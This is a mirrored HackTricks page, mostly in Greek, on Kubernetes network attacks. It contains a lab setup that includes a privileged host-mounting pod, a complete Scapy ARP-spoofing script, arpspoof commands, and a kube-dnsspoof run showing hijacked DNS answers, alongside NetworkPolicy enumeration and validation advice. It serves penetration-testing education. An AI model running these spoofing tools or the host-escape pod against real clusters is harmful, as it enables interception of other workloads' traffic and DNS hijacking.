mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
330 lines
17 KiB
Markdown
330 lines
17 KiB
Markdown
# Kubernetes Network Attacks
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Introduction
|
||
|
||
Στο Kubernetes, παρατηρείται ότι μια default συμπεριφορά επιτρέπει τη δημιουργία συνδέσεων μεταξύ **όλων των containers που βρίσκονται στον ίδιο node**. Αυτό ισχύει ανεξάρτητα από τις namespace διακρίσεις. Αυτή η συνδεσιμότητα επεκτείνεται μέχρι το **Layer 2** (Ethernet). Κατά συνέπεια, αυτή η διαμόρφωση εκθέτει δυνητικά το σύστημα σε vulnerabilities. Συγκεκριμένα, ανοίγει τη δυνατότητα για ένα **malicious container** να εκτελέσει ένα **ARP spoofing attack** εναντίον άλλων containers που βρίσκονται στον ίδιο node. Κατά τη διάρκεια ενός τέτοιου attack, το malicious container μπορεί να υποκλέψει ή να τροποποιήσει δόλια την network traffic που προορίζεται για άλλα containers.
|
||
|
||
Τα ARP spoofing attacks περιλαμβάνουν τον **attacker να στέλνει falsified ARP** (Address Resolution Protocol) μηνύματα σε ένα local area network. Αυτό έχει ως αποτέλεσμα τη σύνδεση της **MAC address του attacker με την IP address ενός νόμιμου computer ή server στο network**. Μετά την επιτυχή εκτέλεση ενός τέτοιου attack, ο attacker μπορεί να υποκλέψει, να τροποποιήσει ή ακόμη και να σταματήσει data in-transit. Το attack εκτελείται στο Layer 2 του OSI model, γι' αυτό και η default connectivity στο Kubernetes σε αυτό το layer εγείρει concerns ασφάλειας.
|
||
|
||
Στο scenario θα δημιουργηθούν 4 machines:
|
||
|
||
- ubuntu-pe: Privileged machine για escape στο node και έλεγχο metrics (δεν χρειάζεται για το attack)
|
||
- **ubuntu-attack**: **Malicious** container στο default namespace
|
||
- **ubuntu-victim**: **Victim** machine στο kube-system namespace
|
||
- **mysql**: **Victim** machine στο default namespace
|
||
```yaml
|
||
echo 'apiVersion: v1
|
||
kind: Pod
|
||
metadata:
|
||
name: ubuntu-pe
|
||
spec:
|
||
containers:
|
||
- image: ubuntu
|
||
command:
|
||
- "sleep"
|
||
- "360000"
|
||
imagePullPolicy: IfNotPresent
|
||
name: ubuntu-pe
|
||
securityContext:
|
||
allowPrivilegeEscalation: true
|
||
privileged: true
|
||
runAsUser: 0
|
||
volumeMounts:
|
||
- mountPath: /host
|
||
name: host-volume
|
||
restartPolicy: Never
|
||
hostIPC: true
|
||
hostNetwork: true
|
||
hostPID: true
|
||
volumes:
|
||
- name: host-volume
|
||
hostPath:
|
||
path: /
|
||
---
|
||
apiVersion: v1
|
||
kind: Pod
|
||
metadata:
|
||
name: ubuntu-attack
|
||
labels:
|
||
app: ubuntu
|
||
spec:
|
||
containers:
|
||
- image: ubuntu
|
||
command:
|
||
- "sleep"
|
||
- "360000"
|
||
imagePullPolicy: IfNotPresent
|
||
name: ubuntu-attack
|
||
restartPolicy: Never
|
||
---
|
||
apiVersion: v1
|
||
kind: Pod
|
||
metadata:
|
||
name: ubuntu-victim
|
||
namespace: kube-system
|
||
spec:
|
||
containers:
|
||
- image: ubuntu
|
||
command:
|
||
- "sleep"
|
||
- "360000"
|
||
imagePullPolicy: IfNotPresent
|
||
name: ubuntu-victim
|
||
restartPolicy: Never
|
||
---
|
||
apiVersion: v1
|
||
kind: Pod
|
||
metadata:
|
||
name: mysql
|
||
spec:
|
||
containers:
|
||
- image: mysql:5.6
|
||
ports:
|
||
- containerPort: 3306
|
||
imagePullPolicy: IfNotPresent
|
||
name: mysql
|
||
env:
|
||
- name: MYSQL_ROOT_PASSWORD
|
||
value: mysql
|
||
restartPolicy: Never' | kubectl apply -f -
|
||
```
|
||
|
||
```bash
|
||
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
|
||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||
```
|
||
## Βασική Kubernetes Δικτύωση
|
||
|
||
Αν θέλεις περισσότερες λεπτομέρειες για τα networking topics που παρουσιάζονται εδώ, πήγαινε στις references.
|
||
|
||
### ARP
|
||
|
||
Γενικά, το **pod-to-pod networking inside the node** είναι διαθέσιμο μέσω ενός **bridge** που συνδέει όλα τα pods. Αυτό το bridge ονομάζεται “**cbr0**”. (Κάποια network plugins θα εγκαταστήσουν το δικό τους bridge.) Το **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. Όταν ένα incoming packet φτάνει στο cbr0, μπορεί να επιλύσει τη destination MAC address χρησιμοποιώντας ARP.
|
||
|
||
Αυτό το γεγονός υποδηλώνει ότι, by default, **κάθε pod που τρέχει στο ίδιο node** θα μπορεί να **communicate** με οποιοδήποτε άλλο pod στο ίδιο node (ανεξάρτητα από το namespace) σε ethernet level (layer 2).
|
||
|
||
> [!WARNING]
|
||
> Επομένως, είναι δυνατό να εκτελεστούν A**RP Spoofing attacks μεταξύ pods στο ίδιο node.**
|
||
|
||
### NetworkPolicy and admin policy layers
|
||
|
||
Το Kubernetes `NetworkPolicy` είναι ένα pod traffic control στο L3/L4, αλλά enforced by the CNI plugin και όχι από το API server itself. Ένα cluster μπορεί να αποθηκεύει NetworkPolicy objects ενώ εξακολουθεί να επιτρέπει traffic αν το active CNI δεν τα implement them, οπότε πάντα να κάνεις validate με ένα controlled allowed source και ένα blocked negative-control source.
|
||
|
||
Μην σταματάς στο `kubectl get networkpolicy -A`. Clusters που χρησιμοποιούν Cilium, Calico, OVN-Kubernetes, Antrea, ή managed-provider dataplanes μπορεί επίσης να έχουν policy APIs όπως `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, ή `BaselineAdminNetworkPolicy`. Αυτά μπορούν να προσθέσουν explicit deny, tier/order, cluster scope, L7/DNS rules, ή admin guardrails που τα συνηθισμένα additive Kubernetes NetworkPolicy semantics δεν εξηγούν.
|
||
|
||
Χρήσιμοι πρώτοι έλεγχοι:
|
||
```bash
|
||
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
|
||
kubectl get networkpolicy -A
|
||
kubectl get cnp,ccnp -A 2>/dev/null
|
||
kubectl get globalnetworkpolicy -A 2>/dev/null
|
||
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
|
||
```
|
||
Για bypass analysis, ελέγξτε αν το intended block αποφεύγεται μέσω ενός allowed proxy, DNS ή egress gateway, `hostNetwork` pod, node-local path, broad namespace ή pod label selector, ή ενός higher-precedence admin/global policy. Αναφέρετε τα source pod labels, namespace labels, destination Service ή EndpointSlice, CNI/policy implementation, deciding policy rule, και traffic proof.
|
||
|
||
### DNS
|
||
|
||
Σε kubernetes environments θα βρείτε συνήθως 1 (ή περισσότερα) **DNS services running** συνήθως στο kube-system namespace:
|
||
```bash
|
||
kubectl -n kube-system describe services
|
||
Name: kube-dns
|
||
Namespace: kube-system
|
||
Labels: k8s-app=kube-dns
|
||
kubernetes.io/cluster-service=true
|
||
kubernetes.io/name=KubeDNS
|
||
Annotations: prometheus.io/port: 9153
|
||
prometheus.io/scrape: true
|
||
Selector: k8s-app=kube-dns
|
||
Type: ClusterIP
|
||
IP Families: <none>
|
||
IP: 10.96.0.10
|
||
IPs: 10.96.0.10
|
||
Port: dns 53/UDP
|
||
TargetPort: 53/UDP
|
||
Endpoints: 172.17.0.2:53
|
||
Port: dns-tcp 53/TCP
|
||
TargetPort: 53/TCP
|
||
Endpoints: 172.17.0.2:53
|
||
Port: metrics 9153/TCP
|
||
TargetPort: 9153/TCP
|
||
Endpoints: 172.17.0.2:9153
|
||
```
|
||
Στις προηγούμενες πληροφορίες μπορείς να δεις κάτι ενδιαφέρον, το **IP της service** είναι **10.96.0.10** αλλά το **IP του pod** που τρέχει τη service είναι **172.17.0.2.**
|
||
|
||
Αν ελέγξεις τη DNS address μέσα σε οποιοδήποτε pod θα βρεις κάτι σαν αυτό:
|
||
```
|
||
cat /etc/resolv.conf
|
||
nameserver 10.96.0.10
|
||
```
|
||
Ωστόσο, το pod **δεν ξέρει** πώς να φτάσει σε αυτή τη **διεύθυνση** επειδή το **pod range** σε αυτή την περίπτωση είναι 172.17.0.10/26.
|
||
|
||
Επομένως, το pod θα στείλει τα **DNS requests στη διεύθυνση 10.96.0.10** η οποία θα **translated** από το cbr0 **to** **172.17.0.2**.
|
||
|
||
> [!WARNING]
|
||
> Αυτό σημαίνει ότι ένα **DNS request** από ένα pod **πάντα** θα πηγαίνει στο **bridge** για να **translate** το **service IP to the endpoint IP**, ακόμα κι αν ο DNS server βρίσκεται στο ίδιο subnetwork με το pod.
|
||
>
|
||
> Γνωρίζοντας αυτό, και γνωρίζοντας ότι οι **ARP attacks are possible**, ένα **pod** σε έναν node θα μπορεί να **intercept the traffic** ανάμεσα σε **each pod** στο **subnetwork** και το **bridge** και να **modify** τα **DNS responses** από τον DNS server (**DNS Spoofing**).
|
||
>
|
||
> Επιπλέον, αν ο **DNS server** βρίσκεται στον **same node as the attacker**, ο attacker μπορεί να **intercept all the DNS request** οποιουδήποτε pod στο cluster (ανάμεσα στον DNS server και το bridge) και να modify τα responses.
|
||
|
||
> [!NOTE]
|
||
> Επαληθεύστε το ενεργό CNI και το DNS path πριν υποθέσετε ότι αυτό λειτουργεί σε πραγματικό cluster. Κάποια CNIs δρομολογούν ή απομονώνουν με διαφορετικό τρόπο το same-node traffic, και clusters που χρησιμοποιούν NodeLocal DNSCache μπορεί να στέλνουν DNS queries των pods σε μια node-local διεύθυνση πριν τα προωθήσουν στο CoreDNS. Σε αυτά τα περιβάλλοντα, το DNS spoofing εξαρτάται από το pod placement, τις packet capabilities, τη resolver configuration, τη συμπεριφορά του node-local cache και από το αν οι εφαρμογές επαληθεύουν peers με TLS ή άλλο identity mechanism.
|
||
|
||
## ARP Spoofing σε pods στο ίδιο Node
|
||
|
||
Στόχος μας είναι να **κλέψουμε τουλάχιστον την επικοινωνία από το ubuntu-victim προς το mysql**.
|
||
|
||
### Scapy
|
||
```bash
|
||
python3 /tmp/arp_spoof.py
|
||
Enter Target IP:172.17.0.10 #ubuntu-victim
|
||
Enter Gateway IP:172.17.0.9 #mysql
|
||
Target MAC 02:42:ac:11:00:0a
|
||
Gateway MAC: 02:42:ac:11:00:09
|
||
Sending spoofed ARP responses
|
||
|
||
# Get another shell
|
||
kubectl exec -it ubuntu-attack -- bash
|
||
ngrep -d eth0
|
||
|
||
# Login from ubuntu-victim and mysql and check the unencrypted communication
|
||
# interacting with the mysql instance
|
||
```
|
||
|
||
```python:arp_spoof.py
|
||
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
|
||
from scapy.all import *
|
||
|
||
def getmac(targetip):
|
||
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
|
||
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
|
||
return targetmac
|
||
|
||
def spoofarpcache(targetip, targetmac, sourceip):
|
||
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
|
||
send(spoofed, verbose= False)
|
||
|
||
def restorearp(targetip, targetmac, sourceip, sourcemac):
|
||
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
|
||
send(packet, verbose=False)
|
||
print("ARP Table restored to normal for", targetip)
|
||
|
||
def main():
|
||
targetip= input("Enter Target IP:")
|
||
gatewayip= input("Enter Gateway IP:")
|
||
|
||
try:
|
||
targetmac= getmac(targetip)
|
||
print("Target MAC", targetmac)
|
||
except:
|
||
print("Target machine did not respond to ARP broadcast")
|
||
quit()
|
||
|
||
try:
|
||
gatewaymac= getmac(gatewayip)
|
||
print("Gateway MAC:", gatewaymac)
|
||
except:
|
||
print("Gateway is unreachable")
|
||
quit()
|
||
try:
|
||
print("Sending spoofed ARP responses")
|
||
while True:
|
||
spoofarpcache(targetip, targetmac, gatewayip)
|
||
spoofarpcache(gatewayip, gatewaymac, targetip)
|
||
except KeyboardInterrupt:
|
||
print("ARP spoofing stopped")
|
||
restorearp(gatewayip, gatewaymac, targetip, targetmac)
|
||
restorearp(targetip, targetmac, gatewayip, gatewaymac)
|
||
quit()
|
||
|
||
if __name__=="__main__":
|
||
main()
|
||
|
||
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
|
||
```
|
||
### ARPSpoof
|
||
```bash
|
||
apt install dsniff
|
||
arpspoof -t 172.17.0.9 172.17.0.10
|
||
```
|
||
## DNS Spoofing
|
||
|
||
Όπως είχε ήδη αναφερθεί, αν **compromise** ένα pod στον ίδιο node με το pod του DNS server, μπορείς να κάνεις **MitM** με **ARPSpoofing** το **bridge** και το DNS pod και να **modify all the DNS responses**.
|
||
|
||
Έχεις ένα πολύ ωραίο **tool** και **tutorial** για να το δοκιμάσεις εδώ [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||
|
||
Στο σενάριό μας, **download** το **tool** στο attacker pod και δημιούργησε ένα **file named `hosts`** με τα **domains** που θέλεις να **spoof** όπως:
|
||
```
|
||
cat hosts
|
||
google.com. 1.1.1.1
|
||
```
|
||
Εκτέλεσε την attack στο ubuntu-victim machine:
|
||
```
|
||
python3 exploit.py --direct 172.17.0.10
|
||
[*] starting attack on direct mode to pod 172.17.0.10
|
||
Bridge: 172.17.0.1 02:42:bd:63:07:8d
|
||
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
|
||
|
||
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
|
||
```
|
||
|
||
```bash
|
||
#In the ubuntu machine
|
||
dig google.com
|
||
[...]
|
||
;; ANSWER SECTION:
|
||
google.com. 1 IN A 1.1.1.1
|
||
```
|
||
> [!NOTE]
|
||
> Αν προσπαθήσεις να δημιουργήσεις το δικό σου DNS spoofing script, αν **απλώς τροποποιήσεις το DNS response** αυτό **δεν** θα **δουλέψει**, γιατί το **response** θα έχει **src IP** τη διεύθυνση IP του **malicious** **pod** και **δεν** θα **γίνει αποδεκτό**.\
|
||
> Πρέπει να δημιουργήσεις ένα **new DNS packet** με το **src IP** του **DNS** όπου το victim έστειλε το DNS request (που είναι κάτι σαν 172.16.0.2, όχι 10.96.0.10, αυτό είναι το K8s DNS service IP και όχι το DNS server ip, περισσότερα γι' αυτό στην εισαγωγή).
|
||
|
||
## DNS Spoofing via coreDNS configmap
|
||
|
||
A user with write permissions over the configmap `coredns` in the kube-system namespace can modify the DNS responses of the cluster.
|
||
|
||
Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed.
|
||
|
||
Check more information about this attack in:
|
||
|
||
{{#ref}}
|
||
abusing-roles-clusterroles-in-kubernetes/README.md
|
||
{{/ref}}
|
||
|
||
## Abusing exposed kubernetes management services
|
||
|
||
Services like Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, and the Kubernetes dashboard are often exposed either to the internet or within the kubernetes network. An attacker that manage to **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API and perform actions like creating new pods, modifying existing ones, or even deleting them.
|
||
|
||
## Enumerating kubernetes network policies
|
||
|
||
Get configured **networkpolicies**:
|
||
```bash
|
||
kubectl get networkpolicies --all-namespaces
|
||
```
|
||
Λάβε τις network policies του **Callico**:
|
||
```bash
|
||
kubectl get globalnetworkpolicy --all-namespaces
|
||
```
|
||
Λάβετε τα network policies του **Cillium**:
|
||
```bash
|
||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||
```
|
||
Λάβε άλλα policy-related CRDs που έχουν εγκατασταθεί από το network plugin ή το security solution σου:
|
||
```bash
|
||
kubectl get crd | grep -i policy
|
||
```
|
||
## Capturing Traffic
|
||
|
||
Το εργαλείο [**Mizu**](https://github.com/up9inc/mizu) είναι ένα απλό αλλά ισχυρό API **traffic viewer για Kubernetes** που σου επιτρέπει να **δεις όλη την API communication** μεταξύ microservices για να βοηθήσει στο debug και στο troubleshooting regressions.\
|
||
Θα εγκαταστήσει agents στα επιλεγμένα pods και θα συλλέξει τις traffic information τους και θα σου τις δείξει σε έναν web server. Ωστόσο, θα χρειαστείς υψηλά K8s permissions για αυτό (και δεν είναι ιδιαίτερα stealthy).
|
||
|
||
## References
|
||
|
||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|